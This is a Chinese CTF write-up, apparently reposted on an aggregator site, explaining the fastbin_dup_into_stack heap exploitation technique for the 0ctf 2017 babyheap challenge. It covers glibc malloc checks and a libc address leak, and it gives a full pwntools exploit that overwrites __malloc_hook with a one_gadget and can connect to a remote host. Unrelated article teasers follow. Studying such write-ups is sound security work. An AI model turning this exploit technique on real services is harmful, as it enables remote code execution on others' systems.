0ctf_2017_babyheap-fastbin_dup_into_stack

news2024/12/23 9:16:53

参考:
[1]https://uaf.io/exploitation/2017/03/19/0ctf-Quals-2017-BabyHeap2017.html
[2]https://blog.csdn.net/qq_43935969/article/details/115877748
[3]https://bbs.kanxue.com/thread-223461.htm
题目下载参考[1]

说明下如何调试堆,在payload中下断点:

gdb.attach()
....
pause()

通过gdb.attach()+pause()构成一个断点。

本人尝试的其它方式都无法在payload中下断成功。如有知道的师傅欢迎在评论区分享。

补充知识点

补充点1:malloc 的错误检查

特别是针对 fastbin 的内存块的错误检查。检查代码如下:

if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0))
{
    errstr = "malloc(): memory corruption (fast)";
errout:
    malloc_printerr(check_action, errstr, chunk2mem(victim), av);
    return NULL;
}

fastbin_index(chunksize(victim)) 表示计算给定内存块 victim 的大小,并根据大小计算其应该位于哪个 fastbin 中。这里使用 fastbin_index 函数来计算 fastbin 索引。(我们即可根据fastbin_freelist的顺序得出fastbin_index,然后伪造

idx 是预期的 fastbin 索引,用于检查内存块是否位于正确的 fastbin 中。

__builtin_expect 是一个编译器内置的函数,用于提示分支预测器。这里使用了非零的期望值,表示不希望 fastbin_index(chunksize(victim)) != idx 这个条件成立。这样可以提高分支预测的准确性和性能。

如果 fastbin_index(chunksize(victim)) != idx 成立(即内存块不在正确的 fastbin 中),则执行以下操作:

将错误信息字符串 “malloc(): memory corruption (fast)” 赋值给 errstr。
跳转到 errout 标签处。
调用 malloc_printerr 函数来打印错误消息,该函数用于处理 malloc 错误和打印相应的错误信息。
返回 NULL,表示分配失败。
总结起来,这段代码是在检查 fastbin 内存块分配过程中是否存在内存损坏的情况。如果发现内存块不在正确的 fastbin 中,将打印错误消息并返回 NULL,表示分配失败。这是一种用于确保内存分配过程的数据一致性和错误检测的机制。

补充点2:[3]查看其 chunksize 与相应的 fastbin_index 是否匹配,实际上 chunksize 的计算方法是 victim->size & ~(SIZE_BITS)),而它对应的 index 计算方法为 (size) >> (SIZE_SZ == 8 ? 4 : 3) - 2,这里 64位的平台对应的 SIZE_SZ 是8,则 fastbin_index 为 (size >> 4) - 2,那么我们将 small chunk 的 size 域改写成 0x21 即可。
在 glibc 中,SIZE_BITS 的定义取决于平台的位数。对于 64 位平台,SIZE_BITS 的值是 6。这个值表示了 chunk 的大小位数。

chunksize 的计算方法为 victim->size & ~(SIZE_BITS),其中 victim->size 是 chunk 中的 size 字段。SIZE_BITS 是为了去除 chunk 的标志位(prev_in_use 和 non_main_arena)所占用的位数,以获取实际的 chunk 大小。

fastbin_index 的计算方法为 (size) >> (SIZE_SZ == 8 ? 4 : 3) - 2。这里的 size 是指 chunksize 函数返回的 chunk 大小,SIZE_SZ 是指 glibc 中 size_t 的大小,64 位平台下 SIZE_SZ 是 8。因此,fastbin_index 的计算公式为 (size >> 4) - 2。

通过将 small chunk 的 size 域改写成 0x21,可以使得 fastbin_index 的结果为 0,将该 chunk 放入对应的 fastbin 链表中。

需要注意的是,以上是对 glibc 的默认实现进行的解释,具体的实现细节可能因不同版本、编译选项或修改而有所差异。

补充点3:当只有一个 small/large chunk 被释放时,small/large chunk 的 fd 和 bk 指向 main_arena 中的地址

补充点4:何为consolidate
参考:https://blog.51cto.com/u_15346415/3691307

  • 大于0x80的chunk被释放之后就放到了unsortedbin上面去,但是unsortedbin是一个未分类的bin,上面的chunk也处于未分类的状态。但是这些chunk需要在特定的条件下被整理然后放入到smallbins或者largebins中

  • 这个整理的过程被称为unsortedbin的“consolidate”,但是“consolidate”是要在特定的条件下才会发生的,并且与malloc紧密相关。

fastbin_dup_into_stack手法的目的

泄露地址
实现任意地址写

0ctf_2017_babyheap

此题利用fastbin_dup_into_stack方法,因此需要考虑:
如何泄露地址?
补充点3实现
如何实现任意地址写?
fastbin_dup实现

调试

开启的保护:
在这里插入图片描述

断点1:
在这里插入图片描述&mian_arena中放置着指向fastbin[index]的起始值

free(1)和free(2)目的:

断点2:
在这里插入图片描述绿色:绕过malloc_check_fastbin[index]
根据bins显示出fastbin[0x20~0x80],我们的chunk都处于fastbin[1],所以把index=1带入公式

fastbin_index = (size >> 4) - 2

得出size = 0x31

断点3:
在这里插入图片描述恢复smallbin,使它下一步free后进入smallbin,泄露libc地址。

在堆漏洞利用中,通常会通过泄露 libc 地址来获取 libc 的基址,然后计算其他函数或符号的地址。一种常见的方法是使用 __malloc_hook 符号来计算 libc 的基址;
__malloc_hook 是 libc 中的一个全局变量,用于控制堆分配函数 malloc() 的行为。通过泄露 __malloc_hook 的地址,我们可以计算 libc 的基址。通常,可以使用 one_gadget 或者 libc-database 等工具来查找适合当前 libc 版本的 RCE(Remote Code Execution) gadget;
__malloc_hook 与&main_arena偏移固定;

断点4:

在这里插入图片描述这里alloc(0x80)至关重要,防止空闲块相邻也空闲导致和并consolidate;
还有一个细节free(chunk4)未显示进入smallbin,而是进入到unsortbin,之后才会进入到smallbin,至于为什么请参考补充点4

这块光理论还是比较绕的,实际中根据调式结果为准即可,下面对比未继续alloc(0x80)[大小不是非得0x80]发生了consolidate的结果:
在这里插入图片描述未获得smallbin,当然也没获得fd和bk,即无法获取libc地址。

断点5:
在这里插入图片描述
把chunk4一份为2,已分配的chunk+ free的chunk,
chunk4 = chunk_0x71 + free[chunk_0x21]
为下一步实现fastbin_dup做准备。

断点6:
在这里插入图片描述double free[chunk_0x21]
实现fastbin_dup:但这里后续并没用到

断点7:
在这里插入图片描述这里为什么是fill(2):中间之前分配的chunk都被free了。
此步实现了控制任意地址读写:fastbin_dup_into_stack

断点8:
最后再Malloc(0x60)两次即可获得构造地址,
由于我这里开了ASLR,如果关了的话直接x/30gx addr查看上次分配的地址,查看内容即可。

完整payload:

from pwn import *

context.log_level="debug"

def alloc(size):
    r.sendline('1')
    r.sendlineafter(': ', str(size))
    r.recvuntil(': ', timeout=1)

def fill(idx, data):
    r.sendline('2')
    r.sendlineafter(': ', str(idx))
    r.sendlineafter(': ', str(len(data)))
    r.sendafter(': ', data)
    r.recvuntil(': ')
    
def free(idx):
    r.sendline('3')
    r.sendlineafter(': ', str(idx))
    r.recvuntil(': ')

def dump(idx):
    r.sendline('4')
    r.sendlineafter(': ', str(idx))
    r.recvuntil(': \n')
    data = r.recvline()
    r.recvuntil(': ')
    return data

def exploit(r):
    r.recvuntil(': ')
	
    alloc(0x20)	#chunk0
    alloc(0x20)	#chunk1
    alloc(0x20)	#chunk2
    alloc(0x20)	#chunk3
    alloc(0x80)	#chunk4

    free(1)	#chunk1 -> fastbin_chunk1
    free(2)	#chunk2	-> fastbin_chunk2
    #gdb.attach(r)	#break1
    #pause()

    payload  = p64(0)*5
    payload += p64(0x31)
    payload += p64(0)*5
    payload += p64(0x31)
    payload += p8(0xc0)
    fill(0, payload)	# fastbin_chunk1 -> fastbin_chunk4

    payload  = p64(0)*5
    payload += p64(0x31)#bypass malloc check
    fill(3, payload)
    #gdb.attach(r)	#break2
    #pause()
    alloc(0x20)	#fastbin_chunk2 -> chunk2
    alloc(0x20)	#fastbin_chunk4 -> chunk4
    
    payload  = p64(0)*5
    payload += p64(0x91)	#leak_libc
    fill(3, payload)
    #gdb.attach(r)	#break3
    #pause()
    alloc(0x80)		#avoid free_chunk consolidate
    free(4)		#unsortbin_chunk4 & first free(chunk4)
    
    libc_base = u64(dump(2)[:8]) - 0x3a5678
    log.info("libc_base: " + hex(libc_base))
    #gdb.attach(r)	#break4
    #pause()
    alloc(0x68)		#chunk4 = chunk_0x71 + chunk_0x21
    #gdb.attach(r)	#break5
    #pause()
    free(4)		#chunk_0x21 & double free(chunk4[chunk_0x21]) & fastbin_dup
    #gdb.attach(r)	#break6
    #pause()	
    fill(2, p64(libc_base + 0x3a55ed))	#fastbin_dup_into_stack 
    #gdb.attach(r)	#break7
    #pause()
    alloc(0x60)
    alloc(0x60)
    payload  = '\x00'*3
    payload += p64(0)*2
    payload += p64(libc_base + 0x41374)
    fill(6, payload)
    #gdb.attach(r)	#break8
    #pause()
    alloc(255)

    r.interactive()

if __name__ == "__main__":
    log.info("For remote: %s HOST PORT" % sys.argv[0])
    if len(sys.argv) > 1:
        r = remote(sys.argv[1], int(sys.argv[2]))
        exploit(r)
    else:
        r = process(['./0ctfbabyheap'], env={"LD_PRELOAD":"./libc.so.6"})
        exploit(r)

全是逻辑毫无感情。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/542845.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

chatgpt赋能Python-python3_7如何下载

Python3.7如何下载?详细步骤分享! Python是一门当今最热门、最常用、最易学的编程语言之一,且拥有庞大的社区和强大的库支持。在这篇文章中,我们将会详细介绍如何下载Python3.7版本,让大家能够轻松上手Python编程。 …

代码随想录训练营Day44| 完全背包 518. 零钱兑换 II 377. 组合总和 Ⅳ

目录 学习目标 学习内容 完全背包 518. 零钱兑换 II 377. 组合总和 Ⅳ 学习目标 完全背包 518. 零钱兑换 II 377. 组合总和 Ⅳ 学习内容 完全背包 problems/背包问题理论基础完全背包.md programmercarl/leetcode-master(代码随想录出品) - Git…

chatgpt赋能Python-python3_5怎么打开

Python 3.5怎么打开?教你几种方法 Python是目前非常流行的一种编程语言,几乎在所有行业都得到了广泛的应用。Python非常容易上手,且有强大的数据处理和科学计算能力。现在我们来说一下,如何在您的计算机上打开Python 3.5。 方法…

万劫不复之地-云原生可观测性的几大误区

传统监控厂商正把可观测性引入万劫不复之地 可观测性是当前讨论非常多的话题,这个理念由来已久,却在最近开始流行。 在20世纪60年代,该理念首次由Rudolf E. Kalman在其论文中提出,论文题目是《on a general theory of control s…

自然语言处理基础

以下所有内容来自《自然语言处理 基于预训练模型的方法》 1. 文本的表示 利用计算机对自然语言进行处理,首先要解决语言在计算机内部的存储和计算问题。使用字符串表示计算文本的语义信息的时候,往往使用基于规则的方法。如:判断一个句子编…

一文深度解读机器学习模型的评估方法

我们训练学习好的模型,通过客观地评估模型性能,才能更好实际运用决策。模型评估主要有:预测误差情况、拟合程度、模型稳定性等方面。还有一些场景对于模型预测速度(吞吐量)、计算资源耗用量、可解释性等也会有要求&…

chatgpt赋能Python-python3_8怎么降版本

Python 3.8如何降级版本 在本文中,我们将介绍如何将Python 3.8降级到旧的Python版本。这在一些情况下是有必要的,例如某些软件或库并不支持Python 3.8。Python版本降级不仅有用,还可以帮助您控制您的系统上的软件版本,以确保您的…

网络通信—路由交换协议之TCP协议

目录 一、tcp协议 二、通信消息类型 三、准备阶段(三次握手) 准备阶段要干什么? 有什么特点? 准备阶段的核心? (1)准备阶段的数据传输单位 (2)三次握手的过程 1…

Linux之基础开发工具

文章目录 前言一、yum(软件包管理器)1.什么是软件包?2.下载软件包1. 安装软件之前需要将软件的安装包下载下来2. 软件包并不在我们的本地电脑,那么软件包在哪里呢?3. 那么问题来了,我们的电脑如何得知要去哪…

npm 配置双因素身份验证

目录 1、关于双因素身份验证 2、NPM上的双因素身份验证 2.1 授权和写入 2.2 仅限授权 3、先决条件 4、从网站配置2FA 4.1 启用2FA 4.2 为写入禁用2FA 4.3 禁用2FA 5、从命令行配置2FA 5.1 从命令行启用2FA 5.2 从命令行发送一次性密码 5.3 从命令行删除2FA 6、配…

chatgpt赋能Python-python3_8怎么安装库

Python 3.8怎么安装库 - 一个简单易懂的指南 如果你正在学习Python编程,或者想要在你的项目中使用Python 3.8,那么你可能需要安装一些Python库。Python库是一些预定义的Python模块,它们可以帮助你更快速地完成你的项目。在这篇文章中&#x…

chatgpt赋能Python-python3_9_6怎么用

Python 3.9.6简介 Python 3.9.6是2021年6月28日发布的Python编程语言的最新版本,它提供了一些有用的新功能和改进,包括优化的解释器性能和可变构造体。它是一种功能强大的编程语言,既易于学习又易于使用,非常适用于开发Web应用程…

059:cesium设置条纹条带Stripe材质

第059个 点击查看专栏目录 本示例的目的是介绍如何在vue+cesium中设置条纹条带材质,请参考源代码,了解StripeMaterialProperty的应用。 直接复制下面的 vue+cesium源代码,操作2分钟即可运行实现效果. 文章目录 示例效果配置方式示例源代码(共91行)相关API参考:专栏目标…

机器学习——感知机

本章节主要介绍感知机的基础知识,虽然在目前的机器学习范围内,感知机已经不怎么使用,但是通过对感知机的学习可以更好的了解以后的线性模型等相关知识。 同时读者可以点击链接:机器学习-目录_欲游山河十万里的博客-CSDN博客 学习完…

Flutter 笔记 | Flutter 核心原理(一)架构和生命周期

Flutter 架构 简单来讲,Flutter 从上到下可以分为三层:框架层、引擎层和嵌入层,下面我们分别介绍: 1. 框架层 Flutter Framework,即框架层。这是一个纯 Dart实现的 SDK,它实现了一套基础库,自…

蓝牙 a2dp 知识点

1 不同的场景支持 当手机与耳机连接时,会协商音频编解码器、音频质量、音频延迟。(可以决定是游戏模式还是音乐模式) 2 音量调整 手机下发音乐数据的同时,还会下发音量值。耳机根据这个音量值,调整音乐数据到耳机实…

微软 | 把local小模型当作大语言模型的插件?

一、概述 title:Small Models are Valuable Plug-ins for Large Language Models 论文地址:https://arxiv.org/abs/2305.08848 代码:https://github.com/JetRunner/SuperICL 1.1 Motivation 大语言模型想GPT-3和GPT-4权重没有开放出来&a…

实验 2:树形数据结构的实现与应用

东莞理工学院的同学可以借鉴,请勿抄袭 1.实验目的 通过实验达到: 理解和掌握树及二叉树的基本概念; 理解和掌握二叉树的顺序存储结构、链式存储结构; 理解和掌握采用二叉链式存储结构下二叉树的各种遍历操作的思想及 其应用&a…

详解Jetpack Compose的标准布局

前言 Compose是一个声明式UI系统,其中,我们用一组函数来声明UI,并且一个Compose函数可以嵌套另一个Compose函数,并以树的结构来构造所需要的UI。 在Compose中,我们称该树为UI 图,当UI需要改变的时候会刷新…

UML类图与设计模式/原则

目录 类之间的关系依赖泛化(继承)实现关联聚合组合 设计模式的七大原则设计模式单例工厂模式原型模式(深/浅拷贝)建造者模式适配器模式桥接模式装饰者模式组合模式外观模式享元模式代理模式模板方法模式命令模式访问者模式迭代器模式观察者模式中介者模式…